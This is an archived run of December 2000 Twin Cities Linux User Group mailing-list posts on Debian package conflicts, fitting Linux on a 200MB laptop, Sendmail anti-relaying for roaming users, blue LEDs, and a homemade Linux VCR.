Wilson wrote: > Hi everyone, > > I've been having problems lately with apt-get upgrading my Debian woody > box. There are some dependency problems with some of the libgnomeprint > packages. I'd like to get some hints from some of the Debian gurus on the > best way to resolve these problems when they pop up. Here's what I get when > I do the upgrade, followed by an 'apt-get -f install' which apt suggests as > a possible remedy. Any suggestions would be appreciated. > > Thanks. > > -Tim > > copland:/home/wilson# apt-get upgrade > Reading Package Lists... Done > Building Dependency Tree... Done > You might want to run `apt-get -f install' to correct these. > Sorry, but the following packages have unmet dependencies: > libgnomeprint11: Depends: libgnomeprint-data (>= 0.25-helix1) but it is > not installed > E: Unmet dependencies. Try using -f. > copland:/home/wilson# apt-get -f install > Reading Package Lists... Done > Building Dependency Tree... Done > Correcting dependencies... Done > The following extra packages will be installed: > libgnomeprint-bin libgnomeprint-data > The following NEW packages will be installed: > libgnomeprint-bin libgnomeprint-data > 0 packages upgraded, 2 newly installed, 0 to remove and 44 not upgraded. > 1 packages not fully installed or removed. > Need to get 0B/196kB of archives. After unpacking 1491kB will be used. > Do you want to continue? [Y/n] > (Reading database ... 85593 files and directories currently installed.) > Unpacking libgnomeprint-bin (from > .../libgnomeprint-bin_0.25-helix1_i386.deb) ... > dpkg: error processing > /var/cache/apt/archives/libgnomeprint-bin_0.25-helix1_i386.deb (--unpack): > trying to overwrite `/usr/bin/gnome-font-install', which is also in package > libgnomeprint6 > Unpacking libgnomeprint-data (from > .../libgnomeprint-data_0.25-helix1_all.deb) ... > dpkg: error processing > /var/cache/apt/archives/libgnomeprint-data_0.25-helix1_all.deb (--unpack): > trying to overwrite `/usr/share/fonts/afms/adobe/pagd8a.afm', which is also > in package libgnomeprint6 > dpkg-deb: subprocess paste killed by signal (Broken pipe) > Errors were encountered while processing: > /var/cache/apt/archives/libgnomeprint-bin_0.25-helix1_i386.deb > /var/cache/apt/archives/libgnomeprint-data_0.25-helix1_all.deb > E: Sub-process /usr/bin/dpkg returned an error code (1) > > -- > Tim Wilson | Visit Sibley online: | Check out: > Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ > W. St. Paul, MN | | http://slashdot.org/ > wilson@visi.com | | http://linux.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From mend0070 at tc.umn.edu Mon Dec 11 08:44:07 2000 From: mend0070 at tc.umn.edu (Philip C Mendelsohn) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] can this list be fixed? In-Reply-To: Message-ID: On Mon, 11 Dec 2000, Timothy Houck wrote: > I was also thinking, most spam is HTML these days, right? We could > procmail filter messages with HTML tags. Doh! I hadn't thought of that. That would get rid of not only a lot of spam, but should probably be done on general principle! And make the filter available on the tclug web or ftp site as a goodwill gesture to humanity! Cheers, Phil M -- "To misattribute a quote is unforgivable." --Anonymous From b.layer at vikingelectronics.com Mon Dec 11 10:49:55 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] [lug] next installfest In-Reply-To: <20001211095102.B953@socrates.sistina.com> References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> Message-ID: <00121110495504.00255@Billbob_Linux> y0 On Monday 11 December 2000 09:51, you wrote: > > On Mon, Dec 11, 2000 at 12:43:21AM -0800, Apu wrote: > >Hi luggers, > >I am wondering if we are having any installfest before christmas. I have a > > laptop with 200 MB available space and I would like to install linux or > > freebsd in it. So far installing the xserver with LCD display was a major > > pain is the ass and I could use some help here. > > You'lll need more that 200MB of space for either of these oses Well, not necessarily, but 200MB is a bit tight... You might be able to manage a running system, but not much in the lines of development packages (You won't be doig much compiling). X will also be a squeeze. I've got Slack7.1 packed into a 386 with a 350MB drive, with good room to spare. I'll be happy to help where I can with setting up your laptop. -- Bill Layer Sales Technician From fjorn at mninter.net Mon Dec 11 11:13:17 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:30 2005 Subject: [TCLUG] next installfest--<200mb laptop References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> Message-ID: <3A350B2D.E088DF5@mninter.net> Ben Lutgens wrote: > On Mon, Dec 11, 2000 at 12:43:21AM -0800, Apu wrote: > >Hi luggers, > >I am wondering if we are having any installfest before christmas. I have a laptop > >with 200 MB available space and I would like to install linux or freebsd in it. So > >far installing the xserver with LCD display was a major pain is the ass and I > >could use some help here. > > You'lll need more that 200MB of space for either of these oses > While I was digging through linuxdocs.org, ran across this for you: http://linuxdocs.org/HOWTOs/4mb-Laptops.html Shawn From blutgens at sistina.com Mon Dec 11 11:04:35 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:30 2005 Subject: [TCLUG] [lug] next installfest In-Reply-To: <00121110495504.00255@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 11, 2000 at 10:49:55AM -0600 References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> <00121110495504.00255@Billbob_Linux> Message-ID: <20001211110435.B1962@socrates.sistina.com> On Mon, Dec 11, 2000 at 10:49:55AM -0600, Bill Layer wrote: >y0 > >Well, not necessarily, but 200MB is a bit tight... You might be able to >manage a running system, but not much in the lines of development packages >(You won't be doig much compiling). X will also be a squeeze. Tight squeeze? X itself is like 60MB. For freebsd you can forget getting any sources or ports. > >I've got Slack7.1 packed into a 386 with a 350MB drive, with good room to >spare. I'll be happy to help where I can with setting up your laptop. > >-- >Bill Layer >Sales Technician > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/e0ace33a/attachment.pgp From blutgens at sistina.com Mon Dec 11 11:03:01 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:30 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: <3A34F4FE.33B2674D@ltiflex.com>; from andyzb@ltiflex.com on Mon, Dec 11, 2000 at 09:38:38AM -0600 References: <3A33CAD0.EECE9285@tc.umn.edu> <20001210234307.F28679@wookimus.net> <3A34F4FE.33B2674D@ltiflex.com> Message-ID: <20001211110301.A1962@socrates.sistina.com> On Mon, Dec 11, 2000 at 09:38:38AM -0600, Andy Zbikowski wrote: > >Sorry Jay, you're still outta luck for LookOut under Linux. If the pricing >of Windows 2000 server doesn't get you, the price for the Metaframe add-ons >really hurts the pocket book. Anyway, the secret is out... > Why anyone would go to all that work just boggles the mind. There isn't anything _I_ need to do on my box that linux / BSD can't handle. Like I said, using windows is like wearing a straight jacket. Only thing worse is using a mac. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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If all you want is a text console the bare essentials will fit under there, but keep in mind that the kernel source is up to 20MB and glibc is like double that. no add in vim (or god forbid emacs), some docs, and system utils and you are done dealing. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/9202674c/attachment.pgp From lxy at antares.cloudnet.com Mon Dec 11 11:07:43 2000 From: lxy at antares.cloudnet.com (Brian) Date: Mon Jan 17 13:13:30 2005 Subject: [TCLUG] POP/SMTP clients with Sendmail Message-ID: <200012111707.LAA32165@antares.cloudnet.com> I'm very new to setting up Sendmail, but I finally feel like I'm getting the hang of things. Too small problems linger. This machine hosts multiple domains. The server's name is host.ispdomain.com. I moved mydomain.com to it, and I want every message sent to have user@mydomain.com in the headers instead of user@host.ispdomain.com. I've set the reply to addresses so without looking at the properties you can't tell. I'd like it so that when I look at the message headers I don't see any treaces of host.ispdomain.com. I think I saw it in a config file or a doc file but I forgot where it was. The second (bigger) problem is setting up the server so I can use e-mail clients such as Netscape or Outhouse. The real trick (I'm sure it's turned off by default) is that the people using POP/SMTP clients will be all over the internet so I can't filter by IP addresses. I know, I'm opening up a very nice SPAM relay but there's no good way around it that I can tell. What do I have to do to get Sendmail to accept connections from SMTP/POP e-mail clients? Thanks a lot!! -Brian From destef at destef.com Mon Dec 11 11:11:17 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:30 2005 Subject: [TCLUG] trackballs In-Reply-To: Message-ID: Ok, granted Blue LED's are cool but why the preoccupation? Is there something special about a blue LED that I'm missing? I like replacing mine with the high-output LEDs that shine a bright circle on the wall across the room in the dark. :) On Mon, 11 Dec 2000, Austad, Jay wrote: > > You mean like the one I have in my case? > > http://www.yaron.org/pic/led-4.jpg > > Yep, just like that. I have one in my case too. It's all part of my master > plan to replace every led in my house with blue ones. :) > > > I have been looking for a trackball that'd be good for Tribes. Meaning > > good for running/shooting AND flying vehicles.... > > You have to try one of these, they are by far the best trackball I've ever > used. They have another version that you control with your fingers instead > of your thumb, but I like the thumb ones. You can always return it if you > don't like it. > > > -----Original Message----- > > From: Yaron [mailto:jethro@freakzilla.com] > > Sent: Monday, December 11, 2000 1:37 AM > > To: 'tclug-list@lists.real-time.com' > > Subject: RE: [TCLUG] trackballs > > > > > > Hi, > > > > On Mon, 11 Dec 2000, Austad, Jay wrote: > > > > > Now I just have to rip it apart and install one of these > > sweet blue leds I > > > have sitting here. :) > > > > You mean like the one I have in my case? > > http://www.yaron.org/pic/led-4.jpg > > > > (: > > > > I have been looking for a trackball that'd be good for Tribes. Meaning > > good for running/shooting AND flying vehicles.... > > > > > > -Yaron > > > > -- > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From fjorn at mninter.net Mon Dec 11 11:32:27 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] next installfest--<200mb laptop References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> <3A350B2D.E088DF5@mninter.net> <20001211110733.C1962@socrates.sistina.com> Message-ID: <3A350FAB.B65EABE@mninter.net> Ben Lutgens wrote: > On Mon, Dec 11, 2000 at 11:13:17AM -0600, fjorn wrote: > > > >While I was digging through linuxdocs.org, ran across this for you: > > > O.k. all you smart guys, I am aware that it can be done, but common sense will > tell you that if you want to be comfortable you need at least a Gig. just try > to install under 200 MB and see how fast you use it up. > > If all you want is a text console the bare essentials will fit under there, > but keep in mind that the kernel source is up to 20MB and glibc is like double > that. no add in vim (or god forbid emacs), some docs, and system utils and > you are done dealing. > Whoa! Settle down. I wasn't saying that it would be a very good box, nor that you would have all the features that you want. But given the limited space of his drive, he's very limited in what he can put on it. I didn't read the How-to, just saw it. If he's interested in getting it running, he'll read it. He didn't say really what he's after for a box, except that he's having problems with X. Who knows, maybe all he wants is something that will give him text email for the road. I posted that URL for his benefit, just to say that it can be done with the documentation to help him out. Shawn From jethro at freakzilla.com Mon Dec 11 11:23:49 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] trackballs In-Reply-To: Message-ID: Hi, On Mon, 11 Dec 2000, Jason DeStefano wrote: > Ok, granted Blue LED's are cool but why the preoccupation? > Is there something special about a blue LED that I'm missing? Well, the main thing I guess is that they're new and somewhat rare. How many blue LEDs have you seen? > I like replacing mine with the high-output LEDs that shine > a bright circle on the wall across the room in the dark. :) Oh, this blue one does that. -Yaron -- From b.layer at vikingelectronics.com Mon Dec 11 11:24:20 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] Debian Mac68k (was Gnome ported to Windows) In-Reply-To: <20001211110301.A1962@socrates.sistina.com> References: <3A34F4FE.33B2674D@ltiflex.com> <20001211110301.A1962@socrates.sistina.com> Message-ID: <00121111242005.00255@Billbob_Linux> Yes but, On Monday 11 December 2000 11:03, you wrote: > Why anyone would go to all that work just boggles the mind. There isn't > anything _I_ need to do on my box that linux / BSD can't handle. Like I > said, using windows is like wearing a straight jacket. Only thing worse is > using a mac. What about a Mac running Debian? My install of Potato onto my upgraded LC475 went well this weekend. I just need to get a network connection over to the machine, and I can get some packages. Well worth the time & effort of getting a 68040 off of eBay. Just not sure about this whole 'Debian' thing... I wish they had MacSlack :] -- Bill Layer This email signature for rent. From chrome at real-time.com Mon Dec 11 11:29:50 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] POP/SMTP clients with Sendmail In-Reply-To: <200012111707.LAA32165@antares.cloudnet.com>; from lxy@antares.cloudnet.com on Mon, Dec 11, 2000 at 11:07:43AM -0600 References: <200012111707.LAA32165@antares.cloudnet.com> Message-ID: <20001211112950.W10695@real-time.com> > The second (bigger) problem is setting up the server so I can use e-mail > clients such as Netscape or Outhouse. The real trick (I'm sure it's > turned off by default) is that the people using POP/SMTP clients will be > all over the internet so I can't filter by IP addresses. I know, I'm > opening up a very nice SPAM relay but there's no good way around it that I > can tell. What do I have to do to get Sendmail to accept connections from > SMTP/POP e-mail clients? if you can't restrict the range of IPs, you need to look at setting up some sort of SMTP authentication. cyrus-sasl is the package we commonly use for that task here; but I'm hardly an expert on it, and other people would have to fill you in on the details of setting it up. most clients built recently, support SMTP authentication. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From ben at nerp.net Mon Dec 11 11:30:25 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] POP/SMTP clients with Sendmail In-Reply-To: <200012111707.LAA32165@antares.cloudnet.com> Message-ID: you should probably look around, (meening, i don't know where it is, but i saw it once) for a relay-after-pop sendmail addon, so that your email clients must connect via pop before they send mail.. You could also do things the "right" way and force users to use their local ISP's SMTP, you shouldn't need to SMTP relay for pop users, SMTP relay should be done at their ISP. Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Mon, 11 Dec 2000, Brian wrote: > I'm very new to setting up Sendmail, but I finally feel like I'm getting > the hang of things. Too small problems linger. > > This machine hosts multiple domains. The server's name is > host.ispdomain.com. I moved mydomain.com to it, and I want every message > sent to have user@mydomain.com in the headers instead of > user@host.ispdomain.com. I've set the reply to addresses so without > looking at the properties you can't tell. I'd like it so that when I look > at the message headers I don't see any treaces of host.ispdomain.com. I > think I saw it in a config file or a doc file but I forgot where it was. > > The second (bigger) problem is setting up the server so I can use e-mail > clients such as Netscape or Outhouse. The real trick (I'm sure it's > turned off by default) is that the people using POP/SMTP clients will be > all over the internet so I can't filter by IP addresses. I know, I'm > opening up a very nice SPAM relay but there's no good way around it that I > can tell. What do I have to do to get Sendmail to accept connections from > SMTP/POP e-mail clients? > > Thanks a lot!! > > -Brian > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Mon Dec 11 11:27:54 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] next installfest--<200mb laptop Message-ID: Bah, he can fit it somehow. I used to have slackware with compilers and X installed on a 210MB drive on my old 486. I had it that way for over a year and it was my primary machine in college. I needed a zip drive though to keep some of my larger files on since after it was all done I only had about 40MB left over. Jay > -----Original Message----- > From: fjorn [mailto:fjorn@mninter.net] > Sent: Monday, December 11, 2000 11:32 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] next installfest--<200mb laptop > > > Ben Lutgens wrote: > > > On Mon, Dec 11, 2000 at 11:13:17AM -0600, fjorn wrote: > > > > > >While I was digging through linuxdocs.org, ran across this for you: > > > > > O.k. all you smart guys, I am aware that it can be done, > but common sense will > > tell you that if you want to be comfortable you need at > least a Gig. just try > > to install under 200 MB and see how fast you use it up. > > > > If all you want is a text console the bare essentials will > fit under there, > > but keep in mind that the kernel source is up to 20MB and > glibc is like double > > that. no add in vim (or god forbid emacs), some docs, and > system utils and > > you are done dealing. > > > > Whoa! Settle down. I wasn't saying that it would be a very > good box, nor that > you would have all the features that you want. But given the > limited space of his > drive, he's very limited in what he can put on it. I didn't > read the How-to, just > saw it. If he's interested in getting it running, he'll read it. > > He didn't say really what he's after for a box, except that > he's having problems > with X. Who knows, maybe all he wants is something that will > give him text email > for the road. > > I posted that URL for his benefit, just to say that it can be > done with the > documentation to help him out. > > Shawn > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Mon Dec 11 11:29:07 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] trackballs Message-ID: Mine do that too. You ever look directly into the blue led without the cover on a VA Linux box? It'll burn your damn eye out. Now that's friggin cool. > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Monday, December 11, 2000 11:24 AM > To: 'tclug-list@lists.real-time.com' > Subject: RE: [TCLUG] trackballs > > > Hi, > > On Mon, 11 Dec 2000, Jason DeStefano wrote: > > > Ok, granted Blue LED's are cool but why the preoccupation? > > Is there something special about a blue LED that I'm missing? > > Well, the main thing I guess is that they're new and somewhat > rare. How > many blue LEDs have you seen? > > > I like replacing mine with the high-output LEDs that shine > > a bright circle on the wall across the room in the dark. :) > > Oh, this blue one does that. > > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From esper at sherohman.org Mon Dec 11 11:38:22 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] [lug] next installfest In-Reply-To: <20001211095102.B953@socrates.sistina.com>; from blutgens@sistina.com on Mon, Dec 11, 2000 at 09:51:02AM -0600 References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> Message-ID: <20001211113822.A17813@sherohman.org> On Mon, Dec 11, 2000 at 09:51:02AM -0600, Ben Lutgens wrote: > You'lll need more that 200MB of space for either of these oses Nah... The NIC (www.thinknic.com) runs X and Netscape off a CD and only uses 180M on the CD. (Granted, this is probably a somewhat stripped install and that would only leave 20M for swap, but it _can_ be done.) -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From blutgens at sistina.com Mon Dec 11 11:43:28 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:31 2005 Subject: [TCLUG] POP/SMTP clients with Sendmail In-Reply-To: <200012111707.LAA32165@antares.cloudnet.com>; from lxy@antares.cloudnet.com on Mon, Dec 11, 2000 at 11:07:43AM -0600 References: <200012111707.LAA32165@antares.cloudnet.com> Message-ID: <20001211114328.A2392@socrates.sistina.com> On Mon, Dec 11, 2000 at 11:07:43AM -0600, Brian wrote: >can tell. What do I have to do to get Sendmail to accept connections from >SMTP/POP e-mail clients? > sendmail will never accept mail via POP. POP, like IMAP is for delivery to users (read: LDA) What you need to do is go to http://www.sendmail.org/ and read about anti-relaying. You'll tell your users to use the outgoing mailserver of the ISP they're connected to. Do not have an open relay as your domain may be added to ORBS or MAPS. Before you go getting carried away with your production mail server I can't stress enough that you need to read the info on sendmail.org about anti-relaying and spam-blocking. Part of the reason we have so much spam is due to poorly educated MTA administrators, it's as simple as doing som research before you bring the box online. It's a small inconvenience to your users to make changes to thier MUA settings based on the network they belong to. Personally I got a list of IPs from my roaming users and added those IPs to my list of allowed relay addresses. For example my CEO spends alot of time at St. Paul Venture Captial so I added thier subnet as well as his home static IP address. HTH -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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I didn't read the How-to, just >saw it. > And I say he might want to think about making more room. Personally my servers only have 80-100MB of software installed but they don't make good "daily drivers" for _most people_ > >If he's interested in getting it running, he'll read it. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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I'm assuming this was pre-glibc2.x and X4. > >Jay > >> -----Original Message----- >> From: fjorn [mailto:fjorn@mninter.net] >> Sent: Monday, December 11, 2000 11:32 AM >> To: tclug-list@lists.real-time.com >> Subject: Re: [TCLUG] next installfest--<200mb laptop >> >> >> Ben Lutgens wrote: >> >> > On Mon, Dec 11, 2000 at 11:13:17AM -0600, fjorn wrote: >> > > >> > >While I was digging through linuxdocs.org, ran across this for you: >> > > >> > O.k. all you smart guys, I am aware that it can be done, >> but common sense will >> > tell you that if you want to be comfortable you need at >> least a Gig. just try >> > to install under 200 MB and see how fast you use it up. >> > >> > If all you want is a text console the bare essentials will >> fit under there, >> > but keep in mind that the kernel source is up to 20MB and >> glibc is like double >> > that. no add in vim (or god forbid emacs), some docs, and >> system utils and >> > you are done dealing. >> > >> >> Whoa! Settle down. I wasn't saying that it would be a very >> good box, nor that >> you would have all the features that you want. But given the >> limited space of his >> drive, he's very limited in what he can put on it. I didn't >> read the How-to, just >> saw it. If he's interested in getting it running, he'll read it. >> >> He didn't say really what he's after for a box, except that >> he's having problems >> with X. Who knows, maybe all he wants is something that will >> give him text email >> for the road. >> >> I posted that URL for his benefit, just to say that it can be >> done with the >> documentation to help him out. >> >> Shawn >> >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/8a5be6e3/attachment.pgp From blutgens at sistina.com Mon Dec 11 11:48:25 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:32 2005 Subject: [TCLUG] [lug] next installfest In-Reply-To: <20001211113822.A17813@sherohman.org>; from esper@sherohman.org on Mon, Dec 11, 2000 at 11:38:22AM -0600 References: <3A3493A8.CA97D0FD@tc.umn.edu> <20001211095102.B953@socrates.sistina.com> <20001211113822.A17813@sherohman.org> Message-ID: <20001211114825.E2392@socrates.sistina.com> On Mon, Dec 11, 2000 at 11:38:22AM -0600, Dave Sherohman wrote: >On Mon, Dec 11, 2000 at 09:51:02AM -0600, Ben Lutgens wrote: >> You'lll need more that 200MB of space for either of these oses > >Nah... The NIC (www.thinknic.com) runs X and Netscape off a CD and only uses >180M on the CD. (Granted, this is probably a somewhat stripped install and >that would only leave 20M for swap, but it _can_ be done.) as far as that goes almost all the binaries could run from CD and keep the config files on hdd. It's a thought. Granted we're getting away from the initial topic but it's a pretty cool idea. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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I wish they had MacSlack :] > Resistance is futile. You will be assimilated. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/2a9010a7/attachment.pgp From destef at destef.com Mon Dec 11 11:51:55 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:32 2005 Subject: [TCLUG] trackballs In-Reply-To: Message-ID: Wow. It took science until the 21st century to figure out how to make a blue LED! I think I'll have to go get me some to play with. Does Radio Shaft sell them? On Mon, 11 Dec 2000, Yaron wrote: > Hi, > > On Mon, 11 Dec 2000, Jason DeStefano wrote: > > > Ok, granted Blue LED's are cool but why the preoccupation? > > Is there something special about a blue LED that I'm missing? > > Well, the main thing I guess is that they're new and somewhat rare. How > many blue LEDs have you seen? > > > I like replacing mine with the high-output LEDs that shine > > a bright circle on the wall across the room in the dark. :) > > Oh, this blue one does that. > > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From kent at structural-wood.com Mon Dec 11 11:55:24 2000 From: kent at structural-wood.com (Kent Schumacher) Date: Mon Jan 17 13:13:32 2005 Subject: [TCLUG] Linux VCR References: <200012111707.LAA32165@antares.cloudnet.com> <20001211112950.W10695@real-time.com> Message-ID: <3A35150C.F41BF25E@structural-wood.com> Has anyone attempted to turn a linux box into a VCR (similiar to tivo)? It looks like at least one TV card / frame grabber can output MPEG (zoran or somesuch). I've got a semi-unused 266Mb Pentium II taking up space, and it would be kind of fun to turn it into something like a tivo. The TV listings from Yahoo look parseable, hard drives are pretty cheap these days - I've probably got enough sub 10Gb drives lying around to get me near 40Gb. Can you tell I'm getting bored doing admin and writing business software??? Longing to be a couch potato, Kent From blutgens at sistina.com Mon Dec 11 11:56:31 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] next installfest--<200mb laptop In-Reply-To: ; from natecars@real-time.com on Mon, Dec 11, 2000 at 11:47:00AM -0600 References: <20001211110733.C1962@socrates.sistina.com> Message-ID: <20001211115631.A2881@socrates.sistina.com> On Mon, Dec 11, 2000 at 11:47:00AM -0600, Nate Carlson wrote: >On Mon, 11 Dec 2000, Ben Lutgens wrote: > >*firewall* > On a laptop? What are you smoking? -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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Just kidding I know it was a typo. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/66f03e1f/attachment.pgp From natecars at real-time.com Mon Dec 11 